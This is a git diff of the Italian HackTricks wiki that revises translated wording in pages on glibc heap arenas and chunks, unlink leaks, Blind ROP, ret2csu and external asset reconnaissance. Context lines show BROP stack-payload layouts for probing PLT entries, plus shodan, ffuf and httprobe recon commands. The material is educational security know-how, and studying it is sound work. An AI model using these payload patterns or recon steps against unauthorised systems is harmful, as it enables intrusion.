Translated ['binary-exploitation/libc-heap/README.md', 'binary-exploitat
Before Width: | Height: | Size: 71 KiB After Width: | Height: | Size: 1.6 KiB |
Before Width: | Height: | Size: 1.6 KiB After Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 142 KiB |
Before Width: | Height: | Size: 142 KiB After Width: | Height: | Size: 108 KiB |
Before Width: | Height: | Size: 108 KiB After Width: | Height: | Size: 63 KiB |
Before Width: | Height: | Size: 63 KiB After Width: | Height: | Size: 36 KiB |
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 3.7 KiB |
Before Width: | Height: | Size: 15 KiB After Width: | Height: | Size: 33 KiB |
Before Width: | Height: | Size: 33 KiB After Width: | Height: | Size: 116 KiB |
Before Width: | Height: | Size: 116 KiB After Width: | Height: | Size: 418 KiB |
Before Width: | Height: | Size: 418 KiB After Width: | Height: | Size: 35 KiB |
Before Width: | Height: | Size: 35 KiB After Width: | Height: | Size: 3.7 KiB |
Before Width: | Height: | Size: 14 KiB After Width: | Height: | Size: 74 KiB |
Before Width: | Height: | Size: 74 KiB After Width: | Height: | Size: 271 KiB |
Before Width: | Height: | Size: 271 KiB After Width: | Height: | Size: 105 KiB |
Before Width: | Height: | Size: 105 KiB After Width: | Height: | Size: 13 KiB |
Before Width: | Height: | Size: 13 KiB After Width: | Height: | Size: 461 KiB |
Before Width: | Height: | Size: 76 KiB After Width: | Height: | Size: 254 KiB |
Before Width: | Height: | Size: 254 KiB After Width: | Height: | Size: 5.5 KiB |
Before Width: | Height: | Size: 5.5 KiB After Width: | Height: | Size: 254 KiB |
Before Width: | Height: | Size: 254 KiB After Width: | Height: | Size: 112 KiB |
Before Width: | Height: | Size: 112 KiB After Width: | Height: | Size: 22 KiB |
Before Width: | Height: | Size: 22 KiB After Width: | Height: | Size: 35 KiB |
Before Width: | Height: | Size: 35 KiB After Width: | Height: | Size: 216 KiB |
|
@ -838,7 +838,8 @@
|
|||
* [Low-Power Wide Area Network](todo/radio-hacking/low-power-wide-area-network.md)
|
||||
* [Pentesting BLE - Bluetooth Low Energy](todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md)
|
||||
* [Industrial Control Systems Hacking](todo/industrial-control-systems-hacking/README.md)
|
||||
* [LLM Training - Data Preparation](todo/llm-training-data-preparation.md)
|
||||
* [LLM Training - Data Preparation](todo/llm-training-data-preparation/README.md)
|
||||
* [4. Pre-training](todo/llm-training-data-preparation/4.-pre-training.md)
|
||||
* [Burp Suite](todo/burp-suite.md)
|
||||
* [Other Web Tricks](todo/other-web-tricks.md)
|
||||
* [Interesting HTTP](todo/interesting-http.md)
|
||||
|
|
|
@ -27,19 +27,19 @@ Nota che se la **memoria richiesta supera una soglia**, **`mmap`** verrà utiliz
|
|||
|
||||
Nelle applicazioni **multithreaded**, il gestore dell'heap deve prevenire **race conditions** che potrebbero portare a crash. Inizialmente, questo veniva fatto utilizzando un **mutex globale** per garantire che solo un thread potesse accedere all'heap alla volta, ma questo causava **problemi di prestazioni** a causa del collo di bottiglia indotto dal mutex.
|
||||
|
||||
Per affrontare questo problema, l'allocatore di heap ptmalloc2 ha introdotto "aree", dove **ogni arena** funge da **heap separato** con le proprie **strutture** di **dati** e **mutex**, consentendo a più thread di eseguire operazioni sull'heap senza interferire tra loro, purché utilizzino aree diverse.
|
||||
Per affrontare questo problema, l'allocatore di heap ptmalloc2 ha introdotto "arenas", dove **ogni arena** funge da **heap separato** con le proprie **strutture** di dati e **mutex**, consentendo a più thread di eseguire operazioni sull'heap senza interferire tra loro, purché utilizzino arene diverse.
|
||||
|
||||
L'arena "principale" predefinita gestisce le operazioni sull'heap per applicazioni a thread singolo. Quando vengono aggiunti **nuovi thread**, il gestore dell'heap assegna loro **aree secondarie** per ridurre la contesa. Prima tenta di collegare ciascun nuovo thread a un'arena non utilizzata, creando nuove aree se necessario, fino a un limite di 2 volte il numero di core CPU per sistemi a 32 bit e 8 volte per sistemi a 64 bit. Una volta raggiunto il limite, **i thread devono condividere le aree**, portando a potenziali conflitti.
|
||||
L'arena "principale" predefinita gestisce le operazioni sull'heap per applicazioni a thread singolo. Quando vengono aggiunti **nuovi thread**, il gestore dell'heap assegna loro **arene secondarie** per ridurre la contesa. Prima tenta di collegare ciascun nuovo thread a un'arena non utilizzata, creando nuove arene se necessario, fino a un limite di 2 volte il numero di core CPU per sistemi a 32 bit e 8 volte per sistemi a 64 bit. Una volta raggiunto il limite, **i thread devono condividere le arene**, portando a potenziali conflitti.
|
||||
|
||||
A differenza dell'arena principale, che si espande utilizzando la chiamata di sistema `brk`, le aree secondarie creano "subheaps" utilizzando `mmap` e `mprotect` per simulare il comportamento dell'heap, consentendo flessibilità nella gestione della memoria per operazioni multithreaded.
|
||||
A differenza dell'arena principale, che si espande utilizzando la chiamata di sistema `brk`, le arene secondarie creano "subheaps" utilizzando `mmap` e `mprotect` per simulare il comportamento dell'heap, consentendo flessibilità nella gestione della memoria per operazioni multithreaded.
|
||||
|
||||
### Subheaps
|
||||
|
||||
I subheaps servono come riserve di memoria per le aree secondarie nelle applicazioni multithreaded, consentendo loro di crescere e gestire le proprie regioni di heap separatamente dall'heap principale. Ecco come i subheaps differiscono dall'heap iniziale e come operano:
|
||||
I subheaps servono come riserve di memoria per le arene secondarie nelle applicazioni multithreaded, consentendo loro di crescere e gestire le proprie regioni di heap separatamente dall'heap principale. Ecco come i subheaps differiscono dall'heap iniziale e come operano:
|
||||
|
||||
1. **Heap Iniziale vs. Subheaps**:
|
||||
* L'heap iniziale si trova direttamente dopo il binario del programma in memoria e si espande utilizzando la chiamata di sistema `sbrk`.
|
||||
* I subheaps, utilizzati dalle aree secondarie, vengono creati tramite `mmap`, una chiamata di sistema che mappa una regione di memoria specificata.
|
||||
* I subheaps, utilizzati dalle arene secondarie, vengono creati tramite `mmap`, una chiamata di sistema che mappa una regione di memoria specificata.
|
||||
2. **Riservazione di Memoria con `mmap`**:
|
||||
* Quando il gestore dell'heap crea un subheap, riserva un grande blocco di memoria tramite `mmap`. Questa riservazione non alloca immediatamente memoria; designa semplicemente una regione che altri processi di sistema o allocazioni non dovrebbero utilizzare.
|
||||
* Per impostazione predefinita, la dimensione riservata per un subheap è di 1 MB per processi a 32 bit e 64 MB per processi a 64 bit.
|
||||
|
@ -351,7 +351,7 @@ people extending or adapting this malloc.
|
|||
#define clear_inuse_bit_at_offset(p, s) \
|
||||
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE))
|
||||
```
|
||||
* Imposta intestazione e piè di pagina (quando i numeri dei chunk sono in uso)
|
||||
* Imposta l'intestazione e il piè di pagina (quando i numeri dei chunk sono in uso)
|
||||
```c
|
||||
/* Set size at head, without disturbing its use bit */
|
||||
#define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s)))
|
||||
|
@ -362,7 +362,7 @@ people extending or adapting this malloc.
|
|||
/* Set size at footer (only when chunk is not in use) */
|
||||
#define set_foot(p, s) (((mchunkptr) ((char *) (p) + (s)))->mchunk_prev_size = (s))
|
||||
```
|
||||
* Ottieni la dimensione dei dati realmente utilizzabili all'interno del chunk
|
||||
* Ottieni la dimensione dei dati utilizzabili reali all'interno del chunk
|
||||
```c
|
||||
#pragma GCC poison mchunk_size
|
||||
#pragma GCC poison mchunk_prev_size
|
||||
|
@ -408,7 +408,7 @@ ptr = malloc(0x10);
|
|||
strcpy(ptr, "panda");
|
||||
}
|
||||
```
|
||||
Imposta un breakpoint alla fine della funzione principale e scopriamo dove è stata memorizzata l'informazione:
|
||||
Imposta un breakpoint alla fine della funzione principale e scopriamo dove sono state memorizzate le informazioni:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1239).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -470,15 +470,15 @@ return 0;
|
|||
|
||||
Debuggando l'esempio precedente è possibile vedere come all'inizio ci sia solo 1 arena:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Poi, dopo aver chiamato il primo thread, quello che chiama malloc, viene creata una nuova arena:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
e al suo interno si possono trovare alcuni chunk:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Bins & Memory Allocations/Frees
|
||||
|
||||
|
|
|
@ -10,7 +10,7 @@ Impara e pratica GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
|
|||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
@ -67,7 +67,7 @@ p->bk_nextsize->fd_nextsize = p->fd_nextsize;
|
|||
|
||||
Controlla questa ottima spiegazione grafica del processo unlink:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
|
||||
|
||||
### Controlli di Sicurezza
|
||||
|
||||
|
@ -77,7 +77,7 @@ Controlla questa ottima spiegazione grafica del processo unlink:
|
|||
|
||||
### Leak
|
||||
|
||||
Un chunk non collegato non pulisce gli indirizzi allocati, quindi avendo accesso a rad, è possibile leak alcuni indirizzi interessanti:
|
||||
Un chunk non collegato non pulisce gli indirizzi allocati, quindi avendo accesso per leggerlo, è possibile leak alcuni indirizzi interessanti:
|
||||
|
||||
Libc Leaks:
|
||||
|
||||
|
|
|
@ -17,7 +17,7 @@ Impara e pratica Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
## Informazioni di base
|
||||
|
||||
L'obiettivo di questo attacco è essere in grado di **abusare di un ROP tramite un buffer overflow senza alcuna informazione sul binario vulnerabile**.\
|
||||
L'obiettivo di questo attacco è essere in grado di **abuse un ROP tramite un buffer overflow senza alcuna informazione sul binario vulnerabile**.\
|
||||
Questo attacco si basa sul seguente scenario:
|
||||
|
||||
* Una vulnerabilità nello stack e conoscenza di come attivarla.
|
||||
|
@ -41,7 +41,7 @@ Questo gadget consente fondamentalmente di confermare che qualcosa di interessan
|
|||
|
||||
Questa tecnica utilizza il gadget [**ret2csu**](ret2csu.md). E questo perché se accedi a questo gadget nel mezzo di alcune istruzioni ottieni gadget per controllare **`rsi`** e **`rdi`**:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
|
||||
Questi sarebbero i gadget:
|
||||
|
||||
|
@ -81,7 +81,7 @@ La funzione **`strcmp`** imposta il registro **`rdx`** sulla lunghezza della str
|
|||
* strcmp(\<non read addr>, \<non read addr>) -> crash
|
||||
* strcmp(\<non read addr>, \<read addr>) -> crash
|
||||
* strcmp(\<read addr>, \<non read addr>) -> crash
|
||||
* strcmp(\<read addr>, \<read addr>) -> nessun crash
|
||||
* strcmp(\<read addr>, \<read addr>) -> no crash
|
||||
|
||||
È possibile controllare questo chiamando ciascuna voce della tabella PLT o utilizzando il **PLT slow path** che consiste fondamentalmente nel **chiamare un'entrata nella tabella PLT + 0xb** (che chiama **`dlresolve`**) seguita nello stack dal **numero di entrata che si desidera sondare** (partendo da zero) per esaminare tutte le voci PLT dalla prima:
|
||||
|
||||
|
@ -89,7 +89,7 @@ La funzione **`strcmp`** imposta il registro **`rdx`** sulla lunghezza della str
|
|||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Andrà in crash
|
||||
* strcmp(\<read addr>, \<non read addr>) -> crash
|
||||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
|
||||
* strcmp(\<read addr>, \<read addr>) -> nessun crash
|
||||
* strcmp(\<read addr>, \<read addr>) -> no crash
|
||||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
|
||||
|
||||
Ricorda che:
|
||||
|
@ -106,7 +106,7 @@ Nota che di solito `rdx` avrà già un valore maggiore di 0, quindi questo passa
|
|||
|
||||
### 8. Trovare Write o equivalente
|
||||
|
||||
Infine, è necessario un gadget che esfiltri i dati per esfiltrare il binario. E in questo momento è possibile **controllare 2 argomenti e impostare `rdx` maggiore di 0.**
|
||||
Infine, è necessario un gadget che esfiltri i dati per esfiltrare il binario. E a questo punto è possibile **controllare 2 argomenti e impostare `rdx` maggiore di 0.**
|
||||
|
||||
Ci sono 3 funzioni comuni che potrebbero essere abusate per questo:
|
||||
|
||||
|
|
|
@ -80,7 +80,7 @@ gef➤ search-pattern 0x400560
|
|||
|
||||
Un altro modo per controllare **`rdi`** e **`rsi`** dal gadget ret2csu è accedendo a specifici offset:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
|
||||
Controlla questa pagina per ulteriori informazioni:
|
||||
|
||||
|
|
|
@ -15,9 +15,9 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_è richiesta la conoscenza fluente della lingua polacca, scritta e parlata_).
|
||||
Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_è richiesta una buona conoscenza del polacco scritto e parlato_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -25,12 +25,12 @@ Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **
|
|||
|
||||
> Ti è stato detto che tutto ciò che appartiene a una certa azienda è all'interno dell'ambito, e vuoi capire cosa possiede effettivamente questa azienda.
|
||||
|
||||
L'obiettivo di questa fase è ottenere tutte le **aziende possedute dalla società principale** e poi tutti i **beni** di queste aziende. Per farlo, procederemo a:
|
||||
L'obiettivo di questa fase è ottenere tutte le **aziende possedute dalla società principale** e poi tutti gli **asset** di queste aziende. Per farlo, procederemo a:
|
||||
|
||||
1. Trovare le acquisizioni della società principale, questo ci darà le aziende all'interno dell'ambito.
|
||||
2. Trovare l'ASN (se presente) di ciascuna azienda, questo ci darà gli intervalli IP posseduti da ciascuna azienda.
|
||||
3. Utilizzare ricerche whois inverse per cercare altre voci (nomi delle organizzazioni, domini...) correlate alla prima (questo può essere fatto ricorsivamente).
|
||||
4. Utilizzare altre tecniche come i filtri shodan `org` e `ssl` per cercare altri beni (il trucco `ssl` può essere fatto ricorsivamente).
|
||||
4. Utilizzare altre tecniche come i filtri shodan `org` e `ssl` per cercare altri asset (il trucco `ssl` può essere fatto ricorsivamente).
|
||||
|
||||
### **Acquisizioni**
|
||||
|
||||
|
@ -38,14 +38,14 @@ Prima di tutto, dobbiamo sapere quali **altre aziende sono possedute dalla socie
|
|||
Un'opzione è visitare [https://www.crunchbase.com/](https://www.crunchbase.com), **cercare** la **società principale** e **cliccare** su "**acquisizioni**". Lì vedrai altre aziende acquisite dalla principale.\
|
||||
Un'altra opzione è visitare la pagina **Wikipedia** della società principale e cercare le **acquisizioni**.
|
||||
|
||||
> Ok, a questo punto dovresti conoscere tutte le aziende all'interno dell'ambito. Scopriamo come trovare i loro beni.
|
||||
> Ok, a questo punto dovresti conoscere tutte le aziende all'interno dell'ambito. Scopriamo come trovare i loro asset.
|
||||
|
||||
### **ASN**
|
||||
### **ASNs**
|
||||
|
||||
Un numero di sistema autonomo (**ASN**) è un **numero unico** assegnato a un **sistema autonomo** (AS) dall'**Internet Assigned Numbers Authority (IANA)**.\
|
||||
Un **AS** consiste in **blocchi** di **indirizzi IP** che hanno una politica chiaramente definita per l'accesso a reti esterne e sono amministrati da un'unica organizzazione, ma possono essere composti da più operatori.
|
||||
Un **AS** è composto da **blocchi** di **indirizzi IP** che hanno una politica chiaramente definita per l'accesso a reti esterne e sono amministrati da un'unica organizzazione, ma possono essere composti da più operatori.
|
||||
|
||||
È interessante scoprire se la **società ha assegnato un ASN** per trovare i suoi **intervalli IP.** Sarà interessante eseguire un **test di vulnerabilità** contro tutti gli **host** all'interno dell'**ambito** e **cercare domini** all'interno di questi IP.\
|
||||
È interessante scoprire se la **società ha assegnato qualche ASN** per trovare i suoi **intervalli IP.** Sarà interessante eseguire un **test di vulnerabilità** contro tutti gli **host** all'interno dell'**ambito** e **cercare domini** all'interno di questi IP.\
|
||||
Puoi **cercare** per nome dell'azienda, per **IP** o per **dominio** in [**https://bgp.he.net/**](https://bgp.he.net)**.**\
|
||||
**A seconda della regione dell'azienda, questi link potrebbero essere utili per raccogliere ulteriori dati:** [**AFRINIC**](https://www.afrinic.net) **(Africa),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Nord America),** [**APNIC**](https://www.apnic.net) **(Asia),** [**LACNIC**](https://www.lacnic.net) **(America Latina),** [**RIPE NCC**](https://www.ripe.net) **(Europa). Comunque, probabilmente tutte le** informazioni utili **(intervalli IP e Whois)** appaiono già nel primo link.
|
||||
```bash
|
||||
|
@ -85,7 +85,7 @@ Inoltre, potresti lanciare alcune [**scansioni delle porte**](../pentesting-netw
|
|||
|
||||
_Please, nota che nelle seguenti tecniche proposte puoi anche trovare sottodomini e che queste informazioni non dovrebbero essere sottovalutate._
|
||||
|
||||
Prima di tutto dovresti cercare il(i) **dominio(i) principale(i)** di ciascuna azienda. Ad esempio, per _Tesla Inc._ sarà _tesla.com_.
|
||||
Prima di tutto dovresti cercare il(i) **dominio(i) principale(i)** di ogni azienda. Ad esempio, per _Tesla Inc._ sarà _tesla.com_.
|
||||
|
||||
### **Reverse DNS**
|
||||
|
||||
|
@ -141,7 +141,7 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
|||
|
||||
In parole semplici, favihash ci permetterà di scoprire domini che hanno lo stesso hash dell'icona favicon del nostro obiettivo.
|
||||
|
||||
Inoltre, puoi anche cercare tecnologie utilizzando l'hash della favicon come spiegato in [**questo post del blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Ciò significa che se conosci il **hash della favicon di una versione vulnerabile di una tecnologia web** puoi cercare in shodan e **trovare più luoghi vulnerabili**:
|
||||
Inoltre, puoi anche cercare tecnologie utilizzando l'hash della favicon come spiegato in [**questo post del blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Ciò significa che se conosci l'**hash della favicon di una versione vulnerabile di una tecnologia web** puoi cercare in shodan e **trovare più luoghi vulnerabili**:
|
||||
```bash
|
||||
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
|
||||
```
|
||||
|
@ -194,13 +194,13 @@ Potresti accedere al **certificato TLS** della pagina web principale, ottenere i
|
|||
|
||||
**Assetfinder**
|
||||
|
||||
[**Assetfinder** ](https://github.com/tomnomnom/assetfinder)è uno strumento che cerca **domini correlati** con un dominio principale e **sottodomini** di essi, davvero sorprendente.
|
||||
[**Assetfinder** ](https://github.com/tomnomnom/assetfinder)è uno strumento che cerca **domini correlati** a un dominio principale e **sottodomini** di essi, davvero sorprendente.
|
||||
|
||||
### **Looking for vulnerabilities**
|
||||
|
||||
Controlla per qualche [domain takeover](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Forse qualche azienda sta **utilizzando un dominio** ma ha **perso la proprietà**. Registralo (se abbastanza economico) e fai sapere all'azienda.
|
||||
|
||||
Se trovi qualche **dominio con un IP diverso** da quelli già trovati nella scoperta degli asset, dovresti eseguire una **scansione di vulnerabilità di base** (usando Nessus o OpenVAS) e qualche [**port scan**](../pentesting-network/#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. A seconda dei servizi in esecuzione puoi trovare in **questo libro alcuni trucchi per "attaccarli"**.\
|
||||
Se trovi qualche **dominio con un IP diverso** da quelli già trovati nella scoperta degli asset, dovresti eseguire una **scansione di vulnerabilità di base** (usando Nessus o OpenVAS) e qualche [**port scan**](../pentesting-network/#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. A seconda dei servizi in esecuzione, puoi trovare in **questo libro alcuni trucchi per "attaccarli"**.\
|
||||
_Nota che a volte il dominio è ospitato all'interno di un IP che non è controllato dal cliente, quindi non è nel campo, fai attenzione._
|
||||
|
||||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
|
@ -226,7 +226,7 @@ dnsrecon -a -d tesla.com
|
|||
```
|
||||
### **OSINT**
|
||||
|
||||
Il modo più veloce per ottenere molti subdomini è cercare in fonti esterne. Gli **strumenti** più utilizzati sono i seguenti (per risultati migliori configura le chiavi API):
|
||||
Il modo più veloce per ottenere molti sottodomini è cercare in fonti esterne. Gli **strumenti** più utilizzati sono i seguenti (per risultati migliori configura le chiavi API):
|
||||
|
||||
* [**BBOT**](https://github.com/blacklanternsecurity/bbot)
|
||||
```bash
|
||||
|
@ -468,27 +468,27 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
|
|||
```
|
||||
### **Buckets Brute Force**
|
||||
|
||||
Mentre cerchi **sottodomini**, fai attenzione a vedere se sta **puntando** a qualche tipo di **bucket**, e in tal caso [**controlla i permessi**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
|
||||
Inoltre, poiché a questo punto conoscerai tutti i domini all'interno dell'ambito, prova a [**forzare i nomi dei bucket possibili e controlla i permessi**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
Mentre cerchi **subdomini**, fai attenzione a vedere se sta **puntando** a qualche tipo di **bucket**, e in tal caso [**controlla i permessi**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
|
||||
Inoltre, poiché a questo punto conoscerai tutti i domini all'interno dell'ambito, prova a [**brute force i possibili nomi dei bucket e controlla i permessi**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
|
||||
### **Monitorizzazione**
|
||||
|
||||
Puoi **monitorare** se vengono creati **nuovi sottodomini** di un dominio monitorando i **Certificate Transparency** Logs [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py).
|
||||
Puoi **monitorare** se vengono creati **nuovi subdomini** di un dominio monitorando i **Certificate Transparency** Logs [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py).
|
||||
|
||||
### **Cercare vulnerabilità**
|
||||
|
||||
Controlla possibili [**subdomain takeovers**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
|
||||
Se il **sottodominio** punta a qualche **S3 bucket**, [**controlla i permessi**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
Se il **subdominio** sta puntando a qualche **S3 bucket**, [**controlla i permessi**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
|
||||
Se trovi un **sottodominio con un IP diverso** da quelli già trovati nella scoperta delle risorse, dovresti eseguire una **scansione di vulnerabilità di base** (utilizzando Nessus o OpenVAS) e una [**scansione delle porte**](../pentesting-network/#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. A seconda dei servizi in esecuzione, puoi trovare in **questo libro alcuni trucchi per "attaccarli"**.\
|
||||
_Tieni presente che a volte il sottodominio è ospitato all'interno di un IP che non è controllato dal cliente, quindi non è nell'ambito, fai attenzione._
|
||||
Se trovi un **subdominio con un IP diverso** da quelli già trovati nella scoperta delle risorse, dovresti eseguire una **scansione di vulnerabilità di base** (utilizzando Nessus o OpenVAS) e una [**scansione delle porte**](../pentesting-network/#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. A seconda dei servizi in esecuzione, puoi trovare in **questo libro alcuni trucchi per "attaccarli"**.\
|
||||
_Tieni presente che a volte il subdominio è ospitato all'interno di un IP che non è controllato dal cliente, quindi non è nell'ambito, fai attenzione._
|
||||
|
||||
## IPs
|
||||
|
||||
Nei passaggi iniziali potresti aver **trovato alcuni intervalli di IP, domini e sottodomini**.\
|
||||
È tempo di **raccogliere tutti gli IP da quegli intervalli** e per i **domini/sottodomini (query DNS).**
|
||||
Nei passaggi iniziali potresti aver **trovato alcuni intervalli di IP, domini e subdomini**.\
|
||||
È tempo di **raccogliere tutti gli IP da quegli intervalli** e per i **domini/subdomini (query DNS).**
|
||||
|
||||
Utilizzando i servizi delle seguenti **api gratuite**, puoi anche trovare **IP precedenti utilizzati da domini e sottodomini**. Questi IP potrebbero ancora essere di proprietà del cliente (e potrebbero permetterti di trovare [**CloudFlare bypasses**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
|
||||
Utilizzando i servizi delle seguenti **api gratuite**, puoi anche trovare **IP precedenti utilizzati da domini e subdomini**. Questi IP potrebbero ancora essere di proprietà del cliente (e potrebbero permetterti di trovare [**CloudFlare bypasses**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
|
||||
|
||||
* [**https://securitytrails.com/**](https://securitytrails.com/)
|
||||
|
||||
|
@ -502,7 +502,7 @@ Puoi anche controllare i domini che puntano a un indirizzo IP specifico utilizza
|
|||
|
||||
## Caccia ai server web
|
||||
|
||||
> Abbiamo trovato tutte le aziende e i loro asset e conosciamo gli intervalli di IP, domini e sottodomini all'interno dell'ambito. È tempo di cercare server web.
|
||||
> Abbiamo trovato tutte le aziende e i loro asset e conosciamo gli intervalli di IP, domini e subdomini all'interno dell'ambito. È tempo di cercare server web.
|
||||
|
||||
Nei passaggi precedenti probabilmente hai già eseguito alcune **ricerche sugli IP e domini scoperti**, quindi potresti aver **già trovato tutti i possibili server web**. Tuttavia, se non lo hai fatto, ora vedremo alcuni **trucchi rapidi per cercare server web** all'interno dell'ambito.
|
||||
|
||||
|
@ -516,7 +516,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
|||
```
|
||||
### **Screenshots**
|
||||
|
||||
Ora che hai scoperto **tutti i server web** presenti nell'ambito (tra gli **IP** dell'azienda e tutti i **domini** e **sottodomini**) probabilmente **non sai da dove cominciare**. Quindi, rendiamolo semplice e iniziamo semplicemente a fare screenshot di tutti loro. Basta **dare un'occhiata** alla **pagina principale** per trovare endpoint **strani** che sono più **propensi** ad essere **vulnerabili**.
|
||||
Ora che hai scoperto **tutti i server web** presenti nell'ambito (tra gli **IP** dell'azienda e tutti i **domini** e **sottodomini**) probabilmente **non sai da dove cominciare**. Quindi, rendiamolo semplice e iniziamo semplicemente a fare screenshot di tutti loro. Basta **dare un'occhiata** alla **pagina principale** per trovare **endpoint strani** che sono più **propensi** ad essere **vulnerabili**.
|
||||
|
||||
